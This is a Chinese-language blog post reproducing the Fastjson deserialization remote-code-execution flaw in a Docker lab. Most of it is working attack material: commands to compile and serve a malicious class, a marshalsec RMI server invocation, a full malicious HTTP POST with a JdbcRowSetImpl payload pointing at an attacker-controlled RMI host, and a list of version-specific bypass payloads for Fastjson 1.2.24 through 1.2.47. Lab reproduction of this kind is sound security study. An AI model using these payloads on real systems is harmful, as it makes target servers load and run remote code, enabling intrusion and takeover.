2020-01-29-fastjson复现
2020-03-03 本文已影响0人
最初的美好_kai
一、概述
1.Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
2.Fastjson 1.2.51版本以下存在反序列化漏洞,且存在补丁绕过的情况。
3.fastjon低版本存在反序列化漏洞,导致可以远程代码执行getshell
4.暂无cve编号,修复请直接升级到高级版本
二、漏洞复现
1.环境搭建
docker-compose up -d
环境启动使用http:localhost:8090看看是否返回json判断是否搭建成功。
如下图:
p1
2.编译利用代码
p2
javac TouchFIle.java生成TouchFile.class文件,接着把该文件放到远程服务器上
python -m SimpleHTTPServer 80
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.16.64.128/#TouchFile" 9999
3.向靶场发送恶意payload
这里get改post然后增加恶意json参数进去
POST / HTTP/1.1
Host: 172.16.64.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.16.64.128:9999/TouchFile",
"autoCommit":true
}
}
4.检测是否成功执行命令
观看dnslog平台可发现已成功请求该域名
p4
5.不同版本之间的一些payload收集:
1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}
未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};
1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}
1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}